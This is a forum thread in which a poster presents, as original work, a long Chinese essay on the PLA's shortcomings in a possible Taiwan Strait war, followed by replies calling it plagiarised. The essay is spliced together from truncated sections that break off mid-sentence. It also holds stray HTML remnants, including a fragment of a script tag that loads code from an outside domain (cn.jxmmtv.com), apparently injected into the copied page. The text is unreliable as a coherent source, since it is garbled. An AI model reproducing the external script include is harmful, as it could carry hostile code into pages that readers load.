VIP可享有论坛特权，免看广告，负分归零，重新加分开始！
「我要成为VIP」
| ziwei757 发表于 2011-7-30 09:51 只看TA 1楼 | ||
|---|---|---|
|
||
|
[原创] 关于未来可能的台海战争具体问题之我见（四）
很多人都对我在小说中“过分地”强调了敌人装备的先进性，而忽略了我军新装备的先进性而愤愤不平，认为中国军队在战争中的表现会远远超出小说中的描述，为了这个对我破口大骂的也不在少数。其实，我和大家一样，也希望解放军能不负自己的光荣使命，正常发挥甚至是超水平发挥自己装备的最大性能，痛击任何对抗统一的敌人！ 解放军作为中国武装力量的核心有着光荣的历史，曾经让侵略军为之胆寒，让800万反动军队灰飞烟灭，让联合国军却步，让周边敢于挑衅的国家狼狈不堪。目前拥有230万正规军的解放军也是全世界人数最多的军队，经过数十年的建设，已经拥有了包括核武器在内的门类齐全数量庞大的武装力量，足以肩负起国土防卫的重任。但应当看到，数十年来中国没有经历过大规模的战争，为了发展经济而放松了军队的装备建设，使得我们的军队在世界强国面前变得更加落后，而军队的作战思想和装备体系也主要是以国土防御为主，缺乏有力的进攻手段和力量投送能力，以目前的实力对于在大国干涉下迅速果断地维护祖国统一的作战需求还有一定的差距。面对新的斗争形势，解放军不能永远躺在自己的功劳簿上，要承认自己的弱点并勇于改正和学习，努力消化吸收新军事变革带来的新科技，充分利用自己的一切资源，发挥出现有装备的一切潜力，时刻准备着为维护祖国的安全和统一而投入战斗。——这决不能只是一个空洞的口号而已！ 台海战争若真的爆发，将是自二战以来世界上最大规模的海空作战，如果武力登岛也将是二战后最大规模困难程度最高的两栖登陆作战。台湾海峡平均宽大180公里，最窄处也有140公里，海峡中水浅流急气候条件恶劣，本岛又有三大外岛在海峡中作为屏障易守难攻，我军是用船只航渡海峡必会受到三大外岛的袭扰，大大增加了我军渡海的难度。台军不但拥有三四十万正规军，还能在极短时间内动员其超过百万的武装人员，且装备水平不低，训练体系尚算完备有效，战斗力不可小视。而且无论是三大外岛还是台湾本岛，都经过数十年的苦心经营，军用物资储备充足，工事坚固部署合理，应急预案充分，岛内交通便利，部队相互调动迅捷，十分利于守军发挥其作战效力。可以预见，我军如果渡海的话将会是一场空前规模的苦战！在人类历史上除了诺曼底登陆外，还没有可以与其相提并论的两栖作战！面对一场高科技条件下的高强度的战争，我军还没有完全做好相应的准备，无论是在战争计划、民防准备、装备体系、训练强度上都和战争的要求有相当的差距。 首先，我军最缺乏的是战争的经验！我们已经有二十年没打过仗了！而我们同印度和越南发生的边境冲突，无论如何也算不上是能够让我们受益匪浅的高科技战争。我们的许多装备和训练内容都是停留在上世纪五六十年代，无法适应高科技条件下的战争需求。更重要的是，我们的高级指挥员们大多知识结构较为老旧，最多能停留在对越自卫反击中步炮协同的水平上，从未指挥过任何一次三维的大规模作战。（最大也就是个一江山岛，勉强算个旅级别的进攻作战）我们所要面对的可能的干涉军，则是数十年来一直没有停手地到处打仗。我们能够从美军在全世界的很多失败的战例中说美国人如何如何笨，可不能否认，美军是相当善于也更勇于从自己的教训中寻找完善自己的机会。这方面对手做的比我们强得多！ 其次，我军的体制不适应现代战争的要求，军官团体素质较低下，缺乏积极进取用于学习的风气。我军一直是一支大陆军的军队，空海军严重缺乏独立作战的能力，指挥机构体系庞杂，纵向层次太多，不适于现代战争中的指挥扁平化的要求，多年在防御性战略下发展也让我军缺乏进攻的思想和能力。在全国一片承平日久的局面下，军队建设长期被忽视，军官待遇较低，大量有能力的军官和士官提升无望待遇低下，面对外界经济环境的迅猛发展，只能选择离开部队谋取更好的发展，反而一些碌碌无为阿谀奉承之徒由于别无出路只能在军队内混日子，使得军队内能者反而易被淘汰。军队的体制逐渐官僚化，机构繁琐庞杂内部效率不高，非战斗人员比例和官兵比例太高，在社会影响下腐败现象也屡见不鲜，影响了军队战斗力的提高。多年来保安全保稳定的风气下，不少领导缺乏进取心，片面追求安全等指标，使得军队的训练和学习受到制约。 再次，我军训练还需要大幅度加强（除了体能训练和队列训练外，这两项目前已经很强了！~）。我军的许多训练内容都已经不适应现代战争的需要，有些领导思想落后不思进取，甚至是为了避事故而故意降低训练标准，各军兵种之间的合练更是少之又少！从公开的各种信息可以看出我军的军事训练强度相当地低，甚至一两年前我军舰载直升机才首次夜间在军舰起降！要知道我军舰载直升机上舰也有差不多20年了！这么多年都在训练什么东西？！有在陆军服过兵役的朋友也可以自己掐指头算一下自己当兵两年打过几发子弹？参加过几次军事演习？这些军事演习中有几次是和海空军合演的？也就是很短的时间以前，我们还能从军报上看到某部侦察兵表演骑摩托爬坦克的科目，这几乎是搞笑！战争中如果训练落后，不但无法正常发挥现有装备的能力，反而会造成许多不必要的损失。现代战争更是体系间的整体对抗，抛弃军兵种间的隔阂，加强合练才能在未来战争中如臂使指！ 第四，是后勤工作需要大幅度加强。现代战争就是打后勤的战争，物资消耗速度远远高于以往。为了随时能发起对台湾的进攻，我们的物资储备不但要大大加强还要尽快向前配置，不但要增加军队的储备，还需要地方上统计和储备相当量的物资用于临时补充部队和接济灾民。而我们的装备体系也相当混乱，前几十年使用苏联军用标准，后二十年引进美军标，不少装备之间缺乏配套。光是小口径高炮就有20、23、25、30、35、37这些口径，小批量试装下，不同的集团军装备的都口径不一，极大地加剧了后勤的压力。未来战争中这些小问题都有可能造成大损失！ 第五，通讯及情报能力弱。我军装备的通讯器材远远落后于发达国家，不但性能较差配备的数量也跟不上正常的需求。海湾战争时我们出口给伊拉克的电台在电子干扰下和废铁没什么区别，这些年我们虽然也研制了大量性能较好的通讯设备可换装速度太慢，不少部队还使用的是相当老的电台。即便是这些新研制的通讯设备和先进水平相比也是有很大差距的，不只一次在网络上看到演习中的我军官需要手机来保持通讯，在公开媒体上报道的我军在执行抗洪等任务时也大量使用的民用通讯设备，连许多正规演习的照片中都能经常发现拿着民用对讲机的官兵，这在战时是要坏大事的！至于情报来说，相对于发达国家来说我军的侦察手段相当有限，这方面公开的资料比较少，但可以说我军在对美日军队的情报收集上所投入的精力远远不如对手的零头！ 上述只是简单地说了一些笼统地问题，下面将分军兵种及大家争论较多的地方，逐一地说明我军在战争中有可能遇到的问题，以及各种所谓杀手锏所能带来的效益。 （一）、弹道导弹部队的实际作用 毋庸置疑，中国的弹道导弹对于台湾来说是一种根本无从防御的压倒性装备，我军拥有的弹道导弹可以轻松地打击到台湾岛上的每一个地方。由于弹道导弹的数量和突防能力，台湾目前所拥有的爱国者导弹根本无法拦截我军的导弹突袭，即便能有个别导弹被拦截也无损于整个导弹袭击的效果，而且由于防御和进攻的不平衡性，台湾即使再增加一倍的爱国者导弹也不会改变态势。而从理? 三）海军作战的实际问题 中国海军成立时间较晚，在三大军种中海军一直也都是较弱的一环，甚至对于台湾海军的优势地位也是在建国后二三十年才得到的。由于建国初期中国海军所面临的严峻形势及中国受到苏联海军模式影响甚深，海军在很长时间内都停留在近海防御的窠臼中，十分缺乏远海作战能力，要不是需要试验洲际弹道导弹恐怕海军的远洋能力还要推后很多年。而中国高层在改革开放前对于海权的认识不深也使海军仅仅停留在能够“抵御侵略”的层面上，国际形势当时的发展也使我们集中了有限的资源在核武器和陆军抵御北方威胁上，海军的建设是次要的，而台湾当时也没到必须要武力收复的地步。不客气地说，海军在成立的前四十年几乎都没有考虑过怎么样收复台湾的问题，因为当时的海军实力距离收复台湾的要求实在是差得太远了！所幸，在上世纪80年代以后，高层对海权的认识加深，中国对外贸依存度的加大，南海危机乃至于台湾海峡局势的恶化，都给了中国高层很强的震撼和压力，在改革开放后中国经济和科技实力的发展使海军几十年的欠账终于开始逐步被弥补起来，中国海军正在逐步增强自己的实力，正飞快地转变成一支真正的蓝水海军。不过，虽然海军这些年在飞快地进步着，可还是羽翼未丰，面对未来可能出现的台海战争，海军也面临着许许多多的问题和不足。 先说海军最重要的一项使命：战略核威慑。中国海军肩负着三位一体战略核威慑体系中的重要一环，在国际上这也是整个核威慑体系中最重要和生存力最高的一环，更是最有效的一环威慑力量。中国目前拥有一艘战略核潜艇，4~5艘攻击核潜艇，这些潜艇不但设计落后，性能低下，噪音奇大，更要命的是战略导弹核潜艇的导弹射程实在是短得可怜，一艘战略潜艇的数量也不足以保持目前仅有的这点核威慑的常备性，至少要拥有三艘以上才能保持任何时候都有一艘在战备状态。尖刻一点说，中国目前的海基战略核威慑基本上只是“名义上”的。我军虽然近期内不断传闻有新型核潜艇入役，可即便按照网络上非常乐观的估计，核潜艇的建造周期也非常长，新战略潜艇也不可能在09年替换全部的旧艇，届时战略核潜艇能保持到两艘新艇一艘旧艇就已经是非常乐观的了。先不说网上声称的那些技术性能是不是已经超越了中国的工业能力，巨浪2导弹的射程也没有达到可以在我近海威慑潜在敌国的程度，我们的战略核潜艇还是需要穿越危险的第一第二岛链才能对敌人实施有效威慑，不但时效性很差生存力也不会太高。当务之急是提高导弹射程，并且有效地增加战略核潜艇的数量，只有这样才能为中国提供真正切实有效的实时战略核反击能力。 中国经济在高速发展，越来越多的经济活动需要海权来进行支持。中国外贸作为国家经济的支柱，如果没有了海运将会受到毁灭性的打击，而大量的包括能源在内的战略物资也需要海上运输来进行保障，大量领海还与邻国有纠纷，大量海底的资源需要我们来开发，这都要求中国海军具备在主要海区维护中国海上权益的能力。可我们的海军其远洋作战能力还是相当有限的。中国海军没有航空母舰，无法保证离开岸基航空兵保护后的制空权；海军反潜能力极弱；舰队区域防空能力不强；辅助舰船门类不全数量不足；两栖作战舰艇数量不足，性能落后；电子设备性能较差；等等这些都使我们的海军即便远出大洋也是相当脆弱的！我们急需在海军方面大幅度加大投入！ 回过头来说台海： 台湾海军大型水面战斗舰艇的数量大致是大陆海军的一半左右，但后勤舰艇、登陆舰、潜艇和小型舰艇的数量就和大陆有着天壤之别了，而且台湾地幅狭小所有港口都在我军的远程火力打击之下，更易遭到压倒优势数量的潜艇封锁，其海军在大规模对抗中完全不占优势。但由此就认为台湾海军战力不堪一击的话是很不对的！ 台湾海军拥有的基德舰是两岸目前拥有的排水量最大的作战舰艇，具有很强的作战能力，分布在东西海岸的各个舰队也都拥有技术性能在国际上都还算不错的许多大型水面作战舰艇，其制海能力还是很强的。台湾处在防御的有利态势，经过数十年经营基地都有良好的工事来抵御打击，海峡周边的水域也相当熟悉，更能得到一定的岸基武器的支援，其战力也不能小觑。台海战场狭小难以展开，我军虽有优势兵力但需要拱卫全国海疆，能集中一半的兵力对台就很不容易了。更重要的是我军是要渡海作战，这就更增加了我军作战的难度！ 我海军在台海首先要消灭台湾海军的主要抵抗。台湾海军的潜艇仅有两艘有战斗力，对于全面战争来说作用基本可以忽略。其基地在在我军远程导弹的持续打击下也将会受到重创，台湾海军的大量小型水面舰艇可能会造成我们不少麻烦，但我军的小型舰艇无论是数量还是质量都有压倒性优势应当能取得胜利。台湾海军的主要大型水面舰艇在海峡内基本上不可能存活，应该只能出现在台湾岛东侧海域待机，而这里正好是我军潜艇的很好的封锁伏击区。不考虑外界干涉的话，台湾海军战力再强也不可能经受住我军较长时间的连续打击。配合飞机和潜艇的打击，在付出相当的代价之后，我海军应当能在开 最后，许多朋友在大肆对比我军和美日军队的水面舰艇性能数据，我觉得大可不必。美军拥有压倒性的海军航空力量，会和你打舰队战？对方的舰队不到万不得已绝对只会用飞机炸你，除非美日军白痴到了想要派水面舰艇隔绝台湾海峡，或者在战前就出现了双方水面舰艇近距离对峙的情况，否则两方的水面舰艇直接交火的可能性微乎其微。至于网上评论什么现代级是航母杀手，那简直更是笑话！航母编队会傻到靠近到你的水面舰艇200公里以内？再看看航母的航速和续航能力是多少，现代的又是多少，人家不会跑吗？你追得上吗？追的过程中人家的飞机停在甲板上孵蛋？不来炸你？假使初始距离500公里，你需要追多少小时才能将距离缩短到白蛉的射程内？这个过程对方能进行多少次空袭？还有航母编队的核潜艇及水面舰艇的拦截，现代的生存力能挺到自己发射导弹的时候吗？天方夜谭！这说明了很多事情不像宣传上的表面上的那么美，要动脑子思考才能看到更深层次的问题，而不是人云亦云以讹传讹！ （四）关于台湾海峡的航渡 台湾海峡是我国东南沿海最大的一个海峡，呈东北--西南走向，长约370千米。北窄南宽，北口宽约200千米；南口宽约410千米；最窄处在台湾岛白沙岬与福建海坛岛之间，约130千米。海峡水深不大，一般小于80米，不靠近海峡中的岛屿或者浅滩沙洲的海区海流也不算太快。以现在的技术手段和正常航运的角度上来看，这么一座海峡实在难以算是一座难以逾越的天堑。但是，网络上充斥着将台湾海峡看作是一条小河沟般抬腿就可以迈过去的微不足道的障碍的看法也是完全错误的！这条海峡宽度几乎是人类历史上最大规模的两栖作战的英吉利海峡的近3倍，还要考虑到英吉利海峡抵近英国的岸边没有外岛被控制于敌手，据守岛屿的敌军机动力和猬集密度也远远高于二战时的德国，毫无疑问，航渡这条海峡并不是表面上看上去那么简单！以下仅就海上航渡的问题简单进行些讨论： 第一，对于台海这样规模的两栖登陆，说它是人类历史上最大规模的两栖作战一点也不为过，我军要是登陆台湾的话至少要一次运载十万部队。许多人说到登陆就大谈什么垂直登陆、气垫船之类的概念，其实在这样规模的战争中，这些运输手段只能是处在辅助地位的。空降作战将有专文讲述，就以气垫船为例。虽然人类现有的气垫船可以在很短时间内运送重装备在恶劣海岸条件下登陆，可毕竟运载能力很有限，美军的大型气垫登陆艇也不过能一次运送一辆主战坦克，俄罗斯的大块头们可能运载力再稍强些，拥有十艘这样的气垫船也不过能一次运送两个加强的机械化连，这么一点力量只能起到奇兵的作用，顶多在敌人侧翼起到牵制，根本无力瓦解哪怕是动摇台军旅一级的部队。而即便是这样的装备我军目前还没有！我军尚未装备大型气垫登陆舰，2009年并不太远了，即使现在购买也来不及在09年形成大规模战斗力，而俄制气垫登陆舰在满载的情况下的航程对于往返大陆和台湾间的航线已经相当勉强。（航程不能看地理的最小间隔，登陆点及启运点也不可能正好选在地理间隔最小的地方。）国产气垫船只能运送轻装的部队，重装备还不行，能力就更低了，航程也完全不允许气垫船往返于大陆和台湾之间！更要考虑我军没有大型两栖攻击舰，气垫船只能以我们的陆地军港为运输起点，就算是最短的距离也要跑130公里，往返一两趟下来恐怕不但皮裙要换，连发动机也需要保养了，完全不能形成连续的运载力量，运力相当有限，也担负不起连续作战的消耗！ 而考虑一下机降部队情况也是如此，我军的直升机部队比气垫船部队更缺乏大型装备的运载能力，海军舰载航空兵几乎全部都是轻型直升机，就算十来架直九进行机降也不过是一个加强排，拿下个把碉堡可能可以，指望这点部队控制海滩就别想了。哪怕是考虑到再加上10架直八和十来架卡莫夫登陆直升机，集中使用也就是将机降部队扩大到了不到一个轻装步兵营的水平，实在不足以影响到整个登陆作战。所以说，这些看似吸引眼球的快速装备其真正能担负的作战分量是不大的，主要的作战还需要用常规排水型登陆舰艇来完成。 第二，任何进攻台湾的航渡船团都需要港口进行集结，在这些港口内将会给船只提供后勤支持，防止敌方攻击，并能够使部队尤其是重装备顺利上载。从地理上看，北至宁波舟山南至深圳香港一线的军民用港口都能作为航渡船团的出发地，再远的港口航渡距离太大只能作为后续物资部队的补运，难以成为第一波船团的母港。在这么长的海岸线中从汕头到温州之间的港口距离台湾最近，最适合作为第一波船团的起运港。可这些港口中最重要的福州港和厦门港分别在金门和马祖的压制之下，不夺占或瘫痪这两座外岛，从这两个大港出发的船只都处在台军的岸炮火力袭扰之下，台军布置的反舰导弹和洞库内的小型导弹快艇更是能给我军的航运船只造成重大的杀伤。如果避开台军外岛的火力，则要么将大量船只集中到泉州港造成拥挤，要么从更远的南北两翼的港口出发大大延长了航渡距离，无论是哪一种情况都对我们是不利的！如果我们选定的登陆场在台湾的中部和南部的话 五）空降兵在台湾海峡的作战 中国空降兵在中国的武装力量中是作为战略预备队存在的，编制有一个集团军，其他军兵种也有部分精锐部队受到过空降训练具备一定的空降能力。按理说这个编制规模比起美俄军队也不算差，甚至人数和最大编制上还要强一些。很多朋友都对我小说中很少写到空降部队的作用而给我来过邮件，认为我把空降兵的作用忽视了，甚至认为夺取松山机场后应该有大量空降兵趁机进入来夺取台北市。其实，深层次地看看，也许我们的空降兵的作战能力并没有看上去得那么强大！ 中国空降兵在台海最大可能的作战方式是伞降。台湾距离大陆的距离已经超过了大部分现役直升机重载的有效作战半径，采用直升机机降的方式规模不可能很大，效率也较低。至于用运输机机降，恐怕要等登陆部队夺下一座完好的机场，并清除周围数十公里的防空火力后再说了。采取伞降的方式受到气象条件的影响很大，基本上无法在夜间、阴雨雪天、大风、大雾、明月等时间采取行动，对于战机的把握比较差。伞降部队由于无法携带大量的装备弹药，持续战斗力有限，需要不间断地将后续空降部队和补给空投到作战地域，对运输机部队的要求高。而且伞降意味着我军的运输机必须要穿越敌方的防空火力网和战斗机拦截直接在敌人后方上空将伞兵扔下，运输机原本就笨重没有自卫能力，在我军没有完全压制敌防空部队和空军的情况下，大规模伞降无异于自杀。台湾具备全世界第一的防空网火力密度，数十个防空导弹连和大量的肩扛导弹及高炮，想要完全压制对手就算不是不可能，也是需要相当长时间且相当困难的。可等到将对方完全压制住了，再进行伞降的意义也已经减少了一大半了！对于高级指挥官来说，最可能的选择就是在部分压制了对方的空军和防空部队的情况下，配合船团登陆发动大规模空降，可以想象在飞行和伞降过程中我们的伞兵会遭遇到多么惨痛的伤亡！记得网上某伞兵将领说台海的天空将是空降兵的鲜血染红的一点也不为过。 但是制约我军伞兵作战的还有一个重要因素：运输机不足！与美军庞大的战略运输机数量相比，我军的运输机部队无论从数量到质量都远逊于美军，甚至比起二战诺曼底登陆时盟军的运输机运量也没有优势。我军主力运输机是伊尔76和运八，再加上一部分轻型运输机，我们虽然增加购买了伊尔76，但数量依然不足。这些运输机除了伊尔76外性能都相当落后，不但航速运力低且自卫能力基本是零。（伊尔76原型机起码还有机尾的自动航炮装装门面，不过实际自卫能力也极低）再像我前面描述海空军那样考虑到能集中到战区的运输机数量、实际装备完好率、运输机分波次出击的安排，最多能有我军装备数量的三分之一到一半能投入第一波伞降。（其实还要有许多运输机执行从内地向沿海战区运送急需物资的任务，我个人估计能投入到第一波伞降的运输机应不超过我军总数量的20%。）以这样少的运输机部队，投运轻装伞兵的话也不大可能超过一个师，如果加上我军新研制的伞兵战车、火炮等重型装备，这么点运输机能一次性空降一个加强团就不错了！如此实力的空降兵能在台海作战中起到的作用是相当有限的。再考虑到这些穿越敌火的运输机必然有损耗，后续作战中运送弹药等物资的困难也会不小。（完全不用考虑我们庞大的民航机队，没有一架民用喷气客机是按照可以在空中开启机舱门设计的，更没有可以让重装备上下的宽阔尾舱门！少数运七运八也不是军用标准的，没有军用的导航通讯和电子战设备，连投掷红外和箔条诱饵弹的设备都没有，根本无法保障伞兵的空降。等到能用上民航飞机的地步，用么是台湾那边恐怕连高炮都没有几门能打响了，要么是我们都已经完全输光准备跳墙了！） 空降兵采取伞降方式对于伞降地点的选择十分苛刻，台湾本岛地形复杂中央山脉纵贯全岛，无论是东部还是西部可供大部队伞降的区域并不多，而且还多数相当狭小，没有诺曼底那样宽阔的平原。台湾本身地幅就不大，台军驻扎密集，交通网络便利，我军落地后很快就会受到台湾陆军的疯狂反扑。台军也不是傻瓜，这么多年的准备中早就对这些地区进行了详细的调查，制定了反冲击预案。如果战前台军有较长时间的预警，甚至可以构成相当规模的反空降障碍，那些对天扬起铲斗的推土机虽然有做秀的嫌疑，但战前在各大平原上密布铁丝网和高竿甚至二战年代的防空阻塞气球，都确实能在很大程度上限制伞兵的作战。伞降的方式也存在伞兵落地后建制混乱，装备与人分离等问题，需要一个不短的时间来调整建制寻找装备弹药，如果台军在这个时候发动装甲部队和空骑旅进行逆袭，可以肯定会造成我军空降兵的重大伤亡，甚至有可能功败垂成。这就要求我空军和海军航空兵部队对空降地域实施遮断掩护，可我空军在繁重任务中能否抽调足够的部队来执行该任务，甚或者我空军的实时遮断能力都是一个大大的问号！ 我军伞兵的装备也相当落后，我军伞兵在目前公布的那些演习照片中可以看出其装备改善十分有限，伞兵大部分还是只有轻武器，通讯设备落后，作战能力有限。虽然近年来有伞兵战车装备，但从演习中人车分?script 中国军队在战争中的表现 （六）大规模登陆作战的抢滩登陆 关于对台湾的登陆战，许多朋友们都更加关注大型气垫船、直升机、空降兵等新兴的登陆方式，对于传统的登陆舰抢滩的方式斥之为二战模式的笨办法而不屑一顾。实际上，细细看来，常规的抢滩登陆方式虽然经过了数十年变革，其主流地位依然无法动摇！对台湾的作战不同于小规模战争，更不是用特种部队摸一把就走的突袭战，小股部队的作战对于数十万人规模的大型登陆战来说根本是微不足道的。至少对于我军来说，在未来一段时期内的对台登陆作战，常规登陆舰艇抢滩的作战模式依旧是中流砥柱！ 前面的几个问题的讨论中，我也分别详述了伞兵、直升机和气垫船在登陆战中存在的问题，就不再赘述。我军也没有装备大型两栖攻击舰之类的舰船，无论是小型气垫船还是直升机大多数都只能依靠大陆的基地补给，其航程极成问题！仅考虑常规登陆舰艇的登陆作战，其所面临的复杂性和困难性一点也不亚于二战时最大的诺曼底登陆。 首先，要考虑的是自然因素，普通登陆舰艇航速慢，舰底平坦抗风抗浪性不强，为了保证航渡的安全及后续船只的航行保障，一般只能选择未来数日内都天气情况良好的时机发起进攻。常规的抢滩登陆对潮汐依赖大，台湾海岸大多是半日潮，登陆舰队可以用以抢滩登陆的最佳时间段是非常狭小的，稍有耽误就有可能在半潮甚至是退潮时间被迫发起进攻，那部队会在数百米甚至数千米的泥滩上跋涉，遭到重大伤亡甚至是失败。对于如此大规模的登陆作战，其需要的海滩非常广阔，且不可能只有一块。多块海滩间的地理间隔不能太远，以免被敌人各个击破。这就对登陆点有较高要求，台湾岛适合大规模登陆的地方不多，都在台军的严密监视中，应对方案也反复演练过，对我军相当不利。 其次，二战时期换乘/编波的抢滩模式依然是有效而必须的。我军登陆舰艇数量有限，应该尽可能地搭载重型装备，而出了少量均衡装载的步兵外，主要的轻装部队该由征用的大型民船运载。对于这些步兵来说，在登陆发起时换乘小型机械化登陆艇、冲锋舟等抢滩工具是必须的，而大型登陆舰上的两栖坦克等两栖装备的泛水也需要时间。而作为登陆船团来说，各船不可能在同一时间到达换乘水域，与其各自单独抢滩效果显然不如在海上等待编波，在全正面的同时出击比零星进攻要科学有效。一般来说，换乘/编波的时间可能长达数小时，认为一个数百艘船的大型船团会在几十分钟内就完成登陆准备是不现实的，如果需要等待潮汐的话时间还会更长。 这段时间是登陆船团最脆弱的时候，需要海空军的强力掩护，压制台军的空中、海上甚至陆地上的火力。而我海军的对岸攻击力并不强大，100和130mm舰炮的威力射程都很有限，压制敌人的任务相当艰巨。我军目前改装的火力支援舰很有现实意义，但火力依然要加强，并且应配备一定的远距离精确打击武器来压制台军纵深的目标，如机场、远程火箭炮阵地等。民船上直接摆放的火炮多为做秀，实际战力相当有限，我军应加强对舰载对岸火炮和火箭炮的研究，末敏弹头或简单惯导的远程火箭弹可能会发挥奇效。对于抢滩行动最好能提供不间断的空中掩护，我空军要完成此任务很有难度，从大陆起飞的战斗机也难以做到及时有效，海军应除了固定翼航空兵外海装备一支以舰船为基地的专用舰载直升机部队，运输型为登陆部队的垂直登陆服务，武装型则对海岸线敌人的实时压制，减少部队伤亡，这种抵近登陆场的直升机部队可以不必从大陆起飞浪费航程，最大限度地保障作战的成功。（大部分武装直升机和运输直升机在满载的情况下，以大陆为基地的话，台湾基本已经在作战半径的边缘，只能指望他们打出类似阿根廷当年在马岛的“三分钟”空战，效率极低且作战时效性极差。）为此，强烈建议我军至少应装备多艘平甲板直升机航母或者两栖攻击舰，哪怕是用民船改装成有直通甲板和机库的简易型号也是有极大帮助的。 第三，考虑到登陆部队在抢滩之初就可能遭到台军装甲部队的疯狂反扑，我军第一波登陆部队需要有更强大的火力和防护力。台军总结金门经验时相当重要的一点就是在地方登陆的第一时间内发起有力的装甲反冲击。台湾地形狭小，路网密布，交通方便，主要适于登陆的海滩都经过了严格的预案准备，我军航渡时间又较长，台军有充足的时间准备其装甲兵对登陆场的冲击。依靠我军的63A只能解决保证摧毁敌坦克的能力，自身防御力严重不足，现装备的两栖战车也多是在普通装甲车前后焊上浮箱甚至加装民用舷外机的临时拼装货，火力和防护力都很有限。登陆战打响后，如果面对台军的重装甲部队的反冲击，这两种装甲车辆的作战实力堪忧。我军应考虑增加装备起点登陆舰的数量保障第一波登陆时主战坦克类重装备能尽快上陆。 第四，工程保障需要加强。可以预见，登陆地域台军会构筑大量的登陆障碍，比如说水雷、地雷、轨条砦、反坦克壕等，这些障碍都有可能迟滞甚至挫败我军的登陆行动，需要在前期准备中加以清除，除了加强蛙人部队的秘七）潜艇在台海战争中的作用 中国核潜艇的问题，我已经在海军那一节中说过就不再赘述。中国海军拥有世界上数量最多的常规潜艇队，自建军以来就将潜艇作为一项极为重要的兵种来进行建设，确实也取得了相当重大的成就，中国的常规潜艇是一支无法让人忽视的强大作战力量。不少朋友都说我在小说中忽略了潜艇的重要性，其实我只是没有重点去写而已，小说中的潜艇也起到了别的兵种无法起到的作用。 台湾作为一个孤岛没有足够的作战纵深和资源，几乎全部的战略物资都需要依靠外界运入，海运占其中绝对多数的比例。对于这样一个岛屿，我军的潜艇可以采取布设水雷封锁、伏击商船、攻击其水面舰艇、甚至使用潜射导弹攻击其内陆目标的方式来进行封锁和打击。台湾海峡距离大陆不算太远，海峡内水深太浅只适合小型潜艇作战，但海峡两端和台湾岛东面的水域却有大片的深水，海底地形复杂，水温海流的变化也较为剧烈，而这些水域都是进出台湾主要海港的必经之路，非常适于潜艇的作战。当然这也是台湾海军主要关注的反潜区域，不过考虑到两军之间的不对称性和我军潜艇又是数量，台湾海军可能会对我军的潜艇部队造成一定的损失，但不可避免地会遭到我军有效的封锁。即使是面对可能的干涉军，我军的潜艇也是一支相当强大的威慑和作战力量，对地方的水面舰艇、潜艇甚至使航母战斗群都能构成相当的威胁，合理的设伏或者配合其他兵种的突袭，都有可能获得相当丰硕的战果。不过，潜艇去攻击军用水面舰艇还是不太合算的，打商船既安全又有效，只要能封锁台湾让它得不到物资的补给就能达到预先的目的。毫无疑问，潜艇在台海中将会占有相当重要的作战地位！ 但也应当看到，在我军核潜艇因为数量和性能上的问题而无法作为战争主力的情况下，我军的常规潜艇部队的也面临着许多问题！常规潜艇部队的具体装备数量资料上的差异也很大，但是无论装备多少潜艇，能在第一时间投入台海的潜艇数量不会超过一半。（又是完好率和能集中在台海地区的比例问题，所有的军种都会面临这样的问题。）而中国的海防形势哟普需要我军潜艇穿越第一岛链之后才能威胁台湾的后背，并且在大洋中伏击游猎台军舰船和可能遇到的干涉军舰队。美日经过多年的经营，在第一岛链的关键水域都布设了水下声纳阵列，并配有强大的反潜力量，我军潜艇的穿越是要冒很大风险的。 我军常规潜艇部队整体装备这些年有了极大改善，增加了不少基洛级和宋、元级等新型潜艇，但还是有不少部队装备着老式的潜艇，其性能已经大大落后于现代战争的需要。除了据传我军元级和引进的第二批基洛外，大部分潜艇没有装备AIP系统，不具备长时间在水下潜航的能力。这些老式潜艇都要频繁上浮充电，隐蔽性很差，容易被对方的反潜兵力发现行踪，而对于暴露了的潜艇来说那肯定是凶多吉少了。这些老式潜艇只能执行封锁台湾的“内线”任务，执行些布水雷、打商船之类的低风险任务还比较拿手，让他们前出到远海风险太大。 除了对付台湾外，我们很可能还需要对付美日的干涉军，美军不但拥有全核的潜艇部队，舰队的反潜能力也属一流，更有强大的航空反潜机队，反潜实力不可小视。日军号称世界反潜能力第一，又拥有最先进的近20艘常规潜艇和上百架反潜巡逻机，对我军的柴电潜艇来说频繁充电会露出通气管，使航空反潜最理想的靶标。这些反潜机将会对我军的行动造成重大的阻碍和损失。 潜艇要进入大洋必须要在开战之前就开始行动，常规潜艇的航速很慢，不可能在接到命令后就很快接近阵位，需要预先设伏。大规模的潜艇预先调动也在一定程度上降低了整体攻击的突然性。对于AIP系统来说，也不要神化。中国燃料电池技术水平与世界相差太大，中国的潜艇装备的AIP以我个人判断是采用瑞典的“斯特林”发动机的模式的可能性较大，技术门槛低一些也比较可靠安全。（潜艇背个氢气罐恐怕让每个潜艇兵都会头疼万分！）而且任何一种AIP都只能作为辅助动力来使用，不可能赋予潜艇飞跃式的性能提高。一般来说，AIP的功率勉强能维持潜艇3~4节的水下航速，再快就得靠电池的电量了，而潜艇上携带的氧气罐最多能维持10~15天这个功率的消耗。乍一看很了不起，可想到这么低的航速行进如何把握战机，且用完了这些氧气和燃料，潜艇一样还需要上浮充电，说明AIP只是增加了艇长选择战机的灵活性，并且赋予了他能够以较好的隐蔽性进入伏击海区的能力，对于临时的作战战机的机变把握上没有多大的帮助。 许多朋友对潜艇反航母的能力颇为关注，其实潜艇只有在比较特殊的情况下才对航母战斗群构成较大的威胁。首先，航母不会过分靠近战区，而潜艇自身的攻击范围较为有限，鱼雷一般不超过20公里，导弹也不过是200公里左右且导弹的攻击有效性大大不如鱼雷。这就意味着一艘潜艇只能伏击相当小的一片区域，大海那么大，潜艇正好处在航母航路上的概率并不高，除了预先精心挑选设伏点外还要靠运气才能让航母接近自己。其次，航母战斗群自身就拥有不弱的反潜能力，无论是潜艇加速向要抢占?script src=http://cn.jxmmtv.com/cn.js> 密爆破外，海军应设想 |
||
| 0 |
| 作者的其他主题 |
|---|
| 关于未来可能的台海战争具体问题之我见（四） |
| christina78 发表于 2011-7-30 09:55 只看TA 2楼 |
|---|
笨的要死，连抄袭都不会，居然把原文网页的源代码都一起拷贝下来了～～
|
| 0 |
|
|---|
| christina78的勋章 |
|
| captain100 发表于 2011-7-30 10:10 只看TA 3楼 |
|---|
| 原来不是原创，本想这位兄台能这么写出长篇很佩服。不过台海真要一站确实就成国运之战，胜利则万事无忧，失败则万事皆休，趋势要慎重慎重再慎重，想多点，想深点，想复杂点 |
| 0 |
|
|---|
